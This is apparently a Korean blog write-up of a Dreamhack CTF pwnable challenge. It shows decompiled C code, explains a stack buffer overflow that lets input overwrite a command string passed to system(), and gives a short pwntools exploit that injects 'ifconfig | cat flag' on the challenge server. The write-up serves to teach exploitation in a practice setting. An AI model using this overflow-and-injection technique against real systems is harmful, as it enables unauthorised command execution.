int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-130h] BYREF
char s1[10]; // [rsp+20h] [rbp-110h] BYREF
__int16 v5; // [rsp+2Ah] [rbp-106h]
int v6; // [rsp+2Ch] [rbp-104h]
char v7[240]; // [rsp+30h] [rbp-100h] BYREF
_QWORD v8[2]; // [rsp+120h] [rbp-10h] BYREF
v8[1] = __readfsqword(0x28u);
strcpy(s1, "ifconfig");
s1[9] = 0;
v5 = 0;
v6 = 0;
memset(v7, 0, sizeof(v7));
init(v8, argv, v7);
printf("Center name: ");
read(0, buf, 0x64uLL);
if ( !strncmp(s1, "ifconfig", 8uLL) )
system(s1);
else
puts("Something is wrong!");
exit(0);
}
스택 구조 상 |buf(32)|s1(10)| 이렇게 위치한다. (이후는 return address 덮는게 아니니까 생략..)
buf에 입력을 받는데 32바이트보다 더 많이 입력받으므로 stack BOF 취약점이 존재한다.
이후 s1이 ifconfig가 있으면 system(s1)으로 명령어를 실행하는데, ifconfig만 있으면 되므로 command injection 취약점도 존재한다.
from pwn import *
p=remote('host3.dreamhack.games', 13450)
p.sendlineafter(b'Center name: ', 'A'*32+'ifconfig | cat flag')
p.interactive()
먼저 BOF 취약점을 이용해서 32바이트를 임의 값으로 꽉 채운 후, s1 자리에 ifconfig를 포함하여 flag를 출력하는 명령어를 주입한다.
그럼 임의 명령어가 실행되어 플래그가 출력된다.

| [Dreamhack] Python Start (Pwnable) (3) | 2025.07.24 |
|---|---|
| [Dreamhack] block bof (pwnable) (0) | 2025.07.07 |
| [Dreamhack] cpp_string (0) | 2025.04.21 |
| Dreamhack CTF Season 7 Round #6 (🌱Div2) struct person_t (0) | 2025.03.30 |
| [Dreamhack] Firmware Extraction Practice (1) | 2024.03.05 |